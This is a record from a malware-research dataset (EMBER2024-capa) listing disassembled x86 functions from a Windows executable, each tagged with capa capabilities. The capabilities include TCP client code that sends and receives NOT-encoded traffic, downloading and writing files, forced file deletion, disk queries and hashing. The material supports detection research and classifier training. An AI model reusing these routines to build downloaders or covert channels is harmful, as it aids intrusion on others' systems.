joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4043b0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x228
mov eax, dword [0x437c24]
xor eax, esp
mov dword [esp + 0x220], eax
push edi
push 0x200
xor edi, edi
lea eax, [esp + 0x24]
push edi
push eax
call fcn.00417c90
xor eax, eax
add esp, 0xc
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 8], edi
cmp esi, 0xffffffff
je 0x40444c
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0xc]
push edx
push 0x200
lea eax, [esp + 0x2c]
push eax
push esi
mov dword [esp + 0x28], edi
mov dword [esp + 0x2c], edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, edi
je 0x40444a
push 0x200
lea ecx, [esp + 0x24]
push ecx
push 0x28
call fcn.00404280
add esp, 0xc
pop edi
mov ecx, dword [esp + 0x220]
xor ecx, esp
call fcn.0041563c
add esp, 0x228
ret
mov eax, edi
mov ecx, dword [esp + 0x224]
pop edi
xor ecx, esp
call fcn.0041563c
add esp, 0x228
ret

Function at 0x404580
Capabilities:
Get disk information via ioctl

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor ebp, ebp
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x24], 0xffffffff
mov dword [esp + 0x10], ebp
mov dword [esp + 0x18], ebp
je 0x40469e
push 0xc00
call fcn.0040b20c
mov ecx, dword [esp + 0x28]
add esp, 4
push ebx
mov esi, eax
lea eax, [esp + 0x18]
push eax
push 0xc00
push esi
push ebx
push ebx
push 0x70050
push ecx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x404691
mov eax, dword [esi + 0x3c]
mov ecx, dword [esi + 0x38]
test eax, eax
jl 0x4045f9
jg 0x4045ed
test ecx, ecx
jbe 0x4045f9
mov ebx, dword [esi + 0x40]
mov ebp, dword [esi + 0x44]
mov edx, ecx
mov edi, eax
jmp 0x4045fd
mov edx, dword [esp + 0x18]
mov eax, dword [esi + 0xcc]
cmp eax, edi
mov ecx, dword [esi + 0xc8]
jl 0x404627
jg 0x404613
cmp ecx, edx
jbe 0x404627
mov ebx, dword [esi + 0xd0]
mov ebp, dword [esi + 0xd4]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x15c]
cmp eax, edi
mov ecx, dword [esi + 0x158]
jl 0x404651
jg 0x40463d
cmp ecx, edx
jbe 0x404651
mov ebx, dword [esi + 0x160]
mov ebp, dword [esi + 0x164]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x1ec]
cmp eax, edi
mov ecx, dword [esi + 0x1e8]
jl 0x40467b
jg 0x404667
cmp ecx, edx
jbe 0x40467b
mov ebx, dword [esi + 0x1f0]
mov ebp, dword [esi + 0x1f4]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
push 0
add ebx, edx
push 0x200
adc ebp, edi
push ebp
push ebx
call fcn.00419aa0
mov dword [esp + 0x10], eax
test esi, esi
je 0x40469e
push esi
call fcn.0040b201
add esp, 4
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x4047b0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x218
mov eax, dword [0x437c24]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.00417c90
add esp, 0xc
push 0x104
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx eax, word [esp + 8]
sub eax, 0x41
push eax
lea ebx, [esp + 8]
call fcn.00404470
mov ebx, dword [esp + 8]
add esp, 4
call fcn.004042f0
cmp eax, 0xffffffff
jne 0x404832
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0041563c
add esp, 0x218
ret
push esi
call fcn.004046e0
mov ecx, dword [esp + 0x218]
add esp, 4
pop ebx
xor ecx, esp
call fcn.0041563c
add esp, 0x218
ret

Function at 0x405bc0
Capabilities:
Hash data using sha1
Read file on windows

Disassembly:
mov eax, 0x1068
call fcn.0041a140
mov eax, dword [0x437c24]
xor eax, esp
mov dword [esp + 0x1064], eax
mov eax, dword [esp + 0x106c]
push ebx
push ebp
push 0x431cf8
push eax
lea eax, [esp + 0x10]
xor ebx, ebx
push eax
mov dword [esp + 0x14], ebx
xor ebp, ebp
call fcn.00415a47
mov eax, dword [esp + 0x14]
add esp, 0xc
cmp eax, ebx
jne 0x405c2b
xor eax, eax
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
pop ebp
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], eax
pop ebx
mov ecx, dword [esp + 0x1064]
xor ecx, esp
call fcn.0041563c
add esp, 0x1068
ret
push esi
push 2
push ebx
push eax
call fcn.00415b24
mov ecx, dword [esp + 0x18]
push ecx
call fcn.00415d46
mov edx, dword [esp + 0x1c]
push ebx
push ebx
push edx
mov dword [esp + 0x2c], eax
call fcn.00415b24
mov eax, dword [esp + 0x28]
push eax
push 0x1000
lea ecx, [esp + 0x94]
push 1
push ecx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x48], 0x67452301
mov dword [esp + 0x4c], 0xefcdab89
mov dword [esp + 0x50], 0x98badcfe
mov dword [esp + 0x54], 0x10325476
mov dword [esp + 0x58], 0xc3d2e1f0
call fcn.00416054
mov esi, eax
add esp, 0x2c
cmp esi, ebx
jbe 0x405cd6
lea edx, [esp + 0x70]
push esi
push edx
lea ebx, [esp + 0x1c]
call fcn.00405a30
mov eax, dword [esp + 0x14]
push eax
push 0x1000
lea ecx, [esp + 0x80]
push 1
push ecx
add ebp, esi
call fcn.00416054
mov esi, eax
add esp, 0x18
test esi, esi
ja 0x405ca1
xor ebx, ebx
push edi
lea esi, [esp + 0x18]
call fcn.00405ad0
mov edx, dword [esp + 0x10]
push edx
call fcn.004160e8
add esp, 8
pop esi
cmp ebp, dword [esp + 0xc]
jb 0x405c04
mov ecx, dword [esp + 0x106c]
pop ebp
pop ebx
xor ecx, esp
mov eax, 1
call fcn.0041563c
add esp, 0x1068
ret
Function at 0x405d20
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x9b8
mov eax, dword [0x437c24]
xor eax, esp
mov dword [esp + 0x9b4], eax
mov eax, dword [ebp + 8]
push esi
push edi
mov edi, ecx
xor ecx, ecx
push 0x7fe
push ecx
lea edx, [esp + 0x1c2]
push edx
mov dword [esp + 0x20], eax
mov word [esp + 0x1c4], cx
call fcn.00417c90
xor eax, eax
add esp, 0xc
lea esi, [esp + 0x1b8]
cmp edi, eax
je 0x405d74
mov esi, edi
lea edx, [esp + 0x28]
push edx
xor ecx, ecx
push 0x101
mov word [esi], cx
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x405dde
push 0x431908
push 0x3ff
push esi
call fcn.004158b1
push 0x431928
push 0x3ff
push esi
call fcn.00415834
push 0x43192c
push 0x3ff
push esi
call fcn.00415834
add esp, 0x24
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x9b4]
xor ecx, esp
call fcn.0041563c
mov esp, ebp
pop ebp
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebx], eax
cmp eax, 0xffffffff
jne 0x405e18
push 0x43196c
push 0x3ff
push esi
call fcn.004158b1
push 0x43198c
push 0x3ff
push esi
call fcn.00415834
push 0x431990
jmp 0x405dba
mov edi, dword [esp + 0x14]
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x405ea3
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [esp + 0x10], eax
push 4
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
jne 0x405ea3
push 0x4319d0
push 0x3ff
push esi
call fcn.004158b1
push 0x4319f0
push 0x3ff
push esi
call fcn.00415834
push 0x4319f4
push 0x3ff
push esi
call fcn.00415834
mov eax, dword [ebx]
add esp, 0x24
test eax, eax
je 0x405e8b
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebx], 0
mov eax, dword [esp + 0x10]
pop edi
pop esi
mov ecx, dword [esp + 0x9b4]
xor ecx, esp
call fcn.0041563c
mov esp, ebp
pop ebp
ret
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov edx, dword [ebp + 0xc]
mov ecx, 2
push edx
mov dword [esp + 0x20], eax
mov word [esp + 0x1c], cx
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [ebx]
mov word [esp + 0x1a], ax
push 0x10
lea eax, [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x405f05
push 0x431a34
push 0x3ff
push esi
call fcn.004158b1
push 0x431a54
push 0x3ff
push esi
call fcn.00415834
push 0x431a58
jmp 0x405e6a
mov ecx, dword [esp + 0x9bc]
pop edi
pop esi
mov dword [esp + 8], 1
mov eax, dword [esp + 8]
xor ecx, esp
call fcn.0041563c
mov esp, ebp
pop ebp
ret
Function at 0x405f30
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push ebx
xor eax, eax
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov dword [esp + 0xc], eax
cmp dword [ecx], eax
je 0x405fb2
cmp edi, eax
jle 0x405f5d
lea ebx, [ebx]
mov dl, byte [eax + ebp]
not dl
mov byte [eax + ebp], dl
inc eax
cmp eax, edi
jl 0x405f50
lea ebx, [edi + 7]
push ebx
call fcn.0040b20c
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [0x439010]
push edi
mov dword [esi + 2], ecx
mov dl, byte [0x439014]
lea eax, [esi + 7]
push ebp
push eax
mov byte [esi + 6], dl
call fcn.0041d1f0
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
add esp, 0x10
push 0
push ebx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x405fb6
cmp eax, ebx
jne 0x405fb6
mov dword [esp + 0xc], 1
jmp 0x405fb6
mov esi, dword [esp + 0x14]
test esi, esi
je 0x405fc3
push esi
call fcn.0040b201
add esp, 4
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x406110
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x8dc
mov eax, dword [0x437c24]
xor eax, esp
mov dword [esp + 0x8d8], eax
mov eax, dword [esp + 0x8e4]
push ebx
push ebp
mov ebp, dword [esp + 0x8e8]
push esi
push edi
mov esi, edx
xor edx, edx
push 0x7fe
mov dword [esp + 0x1c], eax
push edx
lea eax, [esp + 0xf2]
push eax
mov dword [esp + 0x28], ecx
mov word [esp + 0xf4], dx
call fcn.00417c90
add esp, 0xc
lea edi, [esp + 0xe8]
mov dword [esp + 0x10], edi
test esi, esi
je 0x406175
mov dword [esp + 0x10], esi
mov edi, esi
xor ecx, ecx
mov word [edi], cx
mov esi, dword [ebp]
xor ebx, ebx
mov dword [esp + 0x14], ebx
test esi, esi
je 0x4062ed
cmp dword [esp + 0x18], ecx
je 0x4062ed
push 0xc7
lea edx, [esp + 0x25]
push ebx
push edx
mov byte [esp + 0x2c], cl
call fcn.00417c90
add esp, 0xc
push ebx
push 2
lea eax, [esp + 0x28]
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4062da
test eax, eax
je 0x4062da
movzx edi, word [esp + 0x20]
lea ecx, [edi + 2]
push ecx
xor esi, esi
call fcn.0040b20c
add esp, 4
mov ebx, eax
test edi, edi
jle 0x406292
lea esp, [esp]
mov ecx, dword [ebp]
push 0
mov edx, edi
sub edx, esi
push edx
lea eax, [esi + ebx]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x406275
test eax, eax
je 0x406275
add esi, eax
cmp edi, esi
jg 0x4061f0
cmp esi, 5
jl 0x406292
mov eax, dword [0x439010]
sub esi, 5
cmp eax, dword [ebx]
jne 0x4062c1
mov cl, byte [ebx + 4]
cmp cl, byte [0x439014]
jne 0x4062c1
test esi, esi
jle 0x40624d
lea eax, [ebx + 5]
mov edi, esi
mov dl, byte [eax]
not dl
mov byte [eax], dl
inc eax
sub edi, 1
jne 0x406241
mov edi, dword [esp + 0x1c]
mov eax, dword [edi]
cmp eax, esi
jl 0x4062a5
mov ecx, dword [esp + 0x18]
push esi
lea eax, [ebx + 5]
push eax
push ecx
call fcn.0041d1f0
mov dword [edi], esi
add esp, 0xc
mov dword [esp + 0x14], 1
jmp 0x406292
mov edx, dword [esp + 0x10]
push 0x431af8
push 0x3ff
push edx
call fcn.004158b1
add esp, 0xc
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test ebx, ebx
je 0x40629f
push ebx
call fcn.0040b201
add esp, 4
mov eax, dword [esp + 0x14]
jmp 0x4062ef
push eax
mov eax, dword [esp + 0x1c]
lea edx, [ebx + 5]
push edx
push eax
call fcn.0041d1f0
add esp, 0xc
mov dword [esp + 0x14], 1
jmp 0x406292
mov ecx, dword [esp + 0x10]
push 0x431b58
push 0x3ff
push ecx
call fcn.004158b1
add esp, 0xc
jmp 0x406292
push 0x431a98
push 0x3ff
push edi
call fcn.004158b1
add esp, 0xc
mov eax, ebx
mov ecx, dword [esp + 0x8e8]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0041563c
add esp, 0x8dc
ret
Function at 0x4064d0
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
mov eax, 0x100c
call fcn.0041a140
mov eax, dword [0x437c24]
xor eax, esp
mov dword [esp + 0x1008], eax
mov edx, dword [ebx]
mov eax, dword [esp + 0x1010]
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_recv]
push edi
xor edi, edi
push edi
push 4
lea ecx, [esp + 0x10]
push ecx
push edx
mov dword [esp + 0x1c], eax
call ebp
cmp eax, 4
je 0x406528
pop edi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x1008]
xor ecx, esp
call fcn.0041563c
add esp, 0x100c
ret
cmp dword [esp + 8], edi
jbe 0x40656d
push esi
nop
mov ecx, dword [ebx]
push 0
push 0x1000
lea eax, [esp + 0x1c]
push eax
push ecx
call ebp
mov esi, eax
test esi, esi
je 0x40656c
mov edx, dword [esp + 0x10]
mov eax, dword [edx]
push eax
push esi
lea ecx, [esp + 0x1c]
push 1
push ecx
call fcn.004162c6
add edi, esi
add esp, 0x10
mov dword [0x43c204], edi
cmp edi, dword [esp + 0xc]
jb 0x406530
pop esi
mov edx, dword [esp + 0xc]
mov eax, dword [edx]
push eax
call fcn.004160e8
mov ecx, dword [esp + 0x1014]
add esp, 4
cmp edi, dword [esp + 8]
pop edi
sbb eax, eax
pop ebp
xor ecx, esp
inc eax
call fcn.0041563c
add esp, 0x100c
ret

Function at 0x406a10
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x437c24]
xor eax, esp
mov dword [esp + 0x210], eax
push esi
push 0x206
xor esi, esi
lea ecx, [esp + 0x12]
xor eax, eax
push esi
push ecx
mov word [esp + 0x18], ax
call fcn.00417c90
add esp, 0xc
cmp edi, esi
je 0x406af8
mov eax, 0x4317d4
mov dword [esp + 4], esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x406a55
sub eax, edx
sar eax, 1
je 0x406a7f
push 0x4316f4
lea edx, [esp + 8]
push 0x4317d4
push edx
call fcn.00415a47
add esp, 0xc
jmp 0x406aba
lea eax, [esp + 0xc]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x4316fc
lea ecx, [esp + 0x10]
push 0x104
push ecx
call fcn.00415834
push 0x431718
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x18]
push eax
call fcn.00415a47
add esp, 0x18
mov eax, dword [esp + 4]
cmp eax, esi
je 0x406add
push eax
push 1
push 0x200
push edi
call fcn.004162c6
mov ecx, dword [esp + 0x14]
push ecx
call fcn.004160e8
add esp, 0x14
mov eax, 1
pop esi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0041563c
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, esi
pop esi
xor ecx, esp
call fcn.0041563c
add esp, 0x214
ret
Function at 0x406b10
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x437c24]
xor eax, esp
mov dword [esp + 0x210], eax
push edi
push 0x206
xor edi, edi
lea ecx, [esp + 0x12]
xor eax, eax
push edi
push ecx
mov word [esp + 0x18], ax
call fcn.00417c90
add esp, 0xc
mov dword [esp + 4], edi
cmp esi, edi
je 0x406c15
mov eax, 0x431750
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x406b55
sub eax, edx
sar eax, 1
je 0x406c15
cmp dword [0x438f90], 3
jne 0x406b9c
push 0x104
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x431720
lea eax, [esp + 0x10]
push 0x104
push eax
call fcn.00415834
add esp, 0xc
jmp 0x406bac
lea ecx, [esp + 0xc]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x431750
lea edx, [esp + 0x10]
push 0x104
push edx
call fcn.00415834
push 0x431724
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x18]
push ecx
call fcn.00415a47
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x406c15
push eax
push 1
push 0x200
push esi
call fcn.00416054
mov edx, dword [esp + 0x14]
push edx
call fcn.004160e8
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0041563c
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, edi
pop edi
xor ecx, esp
call fcn.0041563c
add esp, 0x214
ret

Function at 0x406c30
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x437c24]
xor eax, esp
mov dword [esp + 0x210], eax
push edi
push 0x206
xor edi, edi
lea ecx, [esp + 0x12]
xor eax, eax
push edi
push ecx
mov word [esp + 0x18], ax
call fcn.00417c90
add esp, 0xc
mov dword [esp + 4], edi
cmp esi, edi
je 0x406cff
mov eax, 0x431734
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x406c75
sub eax, edx
sar eax, 1
je 0x406cff
lea edx, [esp + 0xc]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x431734
lea eax, [esp + 0x10]
push 0x104
push eax
call fcn.00415834
push 0x43172c
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.00415a47
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x406cff
push eax
push 1
push 0x200
push esi
call fcn.00416054
mov eax, dword [esp + 0x14]
push eax
call fcn.004160e8
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0041563c
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, edi
pop edi
xor ecx, esp
call fcn.0041563c
add esp, 0x214
ret
Function at 0x406e60
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
call edi
cmp eax, 0xffffffff
je 0x406eb3
push esi
call edi
cmp eax, 0xffffffff
je 0x406eae
test al, 1
je 0x406e7e
xor eax, 1
test al, 4
je 0x406e85
xor eax, 4
test al, 2
je 0x406e8c
xor eax, 2
test al, 0x20
je 0x406e93
xor eax, 0x20
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test edi, edi
jne 0x406eb3
or eax, 0xffffffff
pop edi
ret
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
pop edi
ret
Function at 0x408dd0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
test ecx, ecx
jne 0x408dd7
xor eax, eax
ret
push esi
not eax
cmp edx, 8
jb 0x408eb4
mov esi, edx
shr esi, 3
push edi
lea esp, [esp]
movzx edi, byte [ecx]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x430a48]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x430a48]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x430a48]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x430a48]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x430a48]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x430a48]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x430a48]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x430a48]
inc ecx
sub edx, 8
sub esi, 1
jne 0x408df0
pop edi
test edx, edx
je 0x408edb
jmp 0x408ec0
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x430a48]
inc ecx
sub edx, 1
jne 0x408ec0
not eax
pop esi
ret

Function at 0x408ee0
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [edx]
movsx ecx, cl
xor ecx, eax
shr eax, 8
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x430a48]
xor ecx, eax
movzx eax, cl
add eax, dword [edx + 4]
mov dword [edx], ecx
mov ecx, dword [edx + 8]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x430a48]
mov dword [edx + 8], ecx
ret

Function at 0x408f30
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov ecx, dword [esi + 8]
push ebx
mov edx, ecx
and edx, 0xfffd
or edx, 2
mov ebx, edx
xor ebx, 1
imul ebx, edx
mov edx, dword [esi]
shr ebx, 8
push edi
xor al, bl
movsx edi, al
xor edi, edx
shr edx, 8
and edi, 0xff
mov ebx, dword [edi*4 + 0x430a48]
xor ebx, edx
movzx edx, bl
add edx, dword [esi + 4]
mov dword [esi], ebx
imul edx, edx, 0x8088405
inc edx
mov dword [esi + 4], edx
shr edx, 0x18
xor edx, ecx
and edx, 0xff
shr ecx, 8
xor ecx, dword [edx*4 + 0x430a48]
pop edi
mov dword [esi + 8], ecx
pop ebx
ret

Function at 0x409640
Capabilities:
Read file on windows

Disassembly:
push esi
mov esi, ebx
imul esi, dword [esp + 8]
cmp byte [edi], 0
je 0x409672
mov ecx, dword [edi + 4]
push 0
lea eax, [esp + 0xc]
push eax
push esi
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x409668
mov byte [edi + 8], 1
mov eax, dword [esp + 8]
xor edx, edx
div ebx
pop esi
ret
mov ecx, dword [edi + 0x1c]
mov eax, dword [edi + 0x18]
push ebp
lea ebp, [ecx + esi]
cmp ebp, eax
pop ebp
jbe 0x409685
sub eax, ecx
mov esi, eax
mov eax, dword [edi + 0x14]
push esi
add eax, ecx
push eax
push edx
call fcn.0041d1f0
add dword [edi + 0x1c], esi
mov eax, esi
add esp, 0xc
xor edx, edx
div ebx
pop esi
ret
Function at 0x4096a0
Capabilities:
Read file on windows

Disassembly:
sub esp, 8
cmp byte [esi], 0
push edi
mov edi, 1
je 0x4096d3
mov edx, dword [esi + 4]
push 0
lea eax, [esp + 0xc]
push eax
push edi
lea ecx, [esp + 0x13]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4096cd
mov byte [esi + 8], 1
mov edi, dword [esp + 8]
jmp 0x4096ff
mov eax, dword [esi + 0x18]
push ebx
mov ebx, dword [esi + 0x1c]
lea ecx, [ebx + 1]
cmp ecx, eax
jbe 0x4096e5
sub eax, ebx
mov edi, eax
mov edx, dword [esi + 0x14]
push edi
add edx, ebx
push edx
lea eax, [esp + 0x13]
push eax
call fcn.0041d1f0
add esp, 0xc
add ebx, edi
mov dword [esi + 0x1c], ebx
pop ebx
cmp edi, 1
pop edi
jne 0x409716
movzx ecx, byte [esp + 3]
mov edx, dword [esp + 0xc]
mov dword [edx], ecx
xor eax, eax
add esp, 8
ret
cmp byte [esi], 0
je 0x409710
cmp byte [esi + 8], 0
je 0x409710
or eax, 0xffffffff
add esp, 8
ret
Function at 0x4097b0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
cmp byte [esi], 0
je 0x4097f5
cmp byte [esi + 1], 0
je 0x4097fd
mov eax, dword [esi + 4]
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp byte [esi], 0
push ebp
je 0x409812
cmp byte [esi + 1], 0
je 0x409804
mov edx, dword [esi + 4]
push 1
push 0
push 0
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebp, eax
sub ebp, dword [esi + 0xc]
mov dword [esp + 4], ebp
jmp 0x40981b
mov ecx, dword [esi + 0x18]
mov dword [esi + 0x1c], ecx
jmp 0x4097ce
or eax, 0xffffffff
add esp, 0x18
ret
mov dword [esp + 4], 0
mov ebp, dword [esp + 4]
jmp 0x40981b
mov eax, dword [esi + 0x1c]
mov dword [esp + 4], eax
mov ebp, eax
push edi
mov edi, 0xffff
mov dword [esp + 0xc], edi
cmp ebp, edi
jae 0x40982f
mov dword [esp + 0xc], ebp
mov edi, ebp
push ebx
push 0x404
call fcn.0041569a
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x40984d
pop ebx
pop edi
or eax, 0xffffffff
pop ebp
add esp, 0x18
ret
mov eax, 4
mov dword [esp + 0x18], 0xffffffff
cmp edi, eax
jbe 0x409961
jmp 0x409870
mov edi, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov ebp, dword [esp + 0xc]
add eax, 0x400
mov dword [esp + 0x14], edi
cmp eax, edi
ja 0x409881
mov dword [esp + 0x14], eax
mov eax, ebp
sub eax, dword [esp + 0x14]
sub ebp, eax
mov dword [esp + 0x20], eax
cmp ebp, 0x404
jbe 0x40989a
mov ebp, 0x404
cmp byte [esi], 0
je 0x4098bf
cmp byte [esi + 1], 0
je 0x409961
mov ecx, dword [esi + 0xc]
mov edx, dword [esi + 4]
push 0
push 0
add ecx, eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x4098c2
mov dword [esi + 0x1c], eax
cmp byte [esi], 0
mov edi, ebp
je 0x4098ea
mov ecx, dword [esi + 4]
push 0
lea eax, [esp + 0x20]
push eax
push ebp
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4098e4
mov byte [esi + 8], 1
mov eax, dword [esp + 0x1c]
jmp 0x409910
mov eax, dword [esi + 0x1c]
mov ecx, dword [esi + 0x18]
lea edx, [eax + ebp]
cmp edx, ecx
jbe 0x4098fb
sub ecx, eax
mov edi, ecx
mov ecx, dword [esi + 0x14]
push edi
add ecx, eax
push ecx
push ebx
call fcn.0041d1f0
add esp, 0xc
add dword [esi + 0x1c], edi
mov eax, edi
xor edx, edx
div ebp
cmp eax, 1
jne 0x409961
lea eax, [ebp - 3]
test eax, eax
jl 0x40994c
dec eax
cmp byte [eax + ebx], 0x50
jne 0x40993c
cmp byte [eax + ebx + 1], 0x4b
jne 0x40993c
cmp byte [eax + ebx + 2], 5
jne 0x40993c
cmp byte [eax + ebx + 3], 6
je 0x409942
test eax, eax
jge 0x409920
jmp 0x40994c
mov edx, dword [esp + 0x20]
add eax, edx
mov dword [esp + 0x18], eax
cmp dword [esp + 0x18], 0
jne 0x409961
mov eax, dword [esp + 0x10]
cmp dword [esp + 0x14], eax
jb 0x409864
push ebx
call fcn.00415764
mov eax, dword [esp + 0x1c]
add esp, 4
pop ebx
pop edi
pop ebp
add esp, 0x18
ret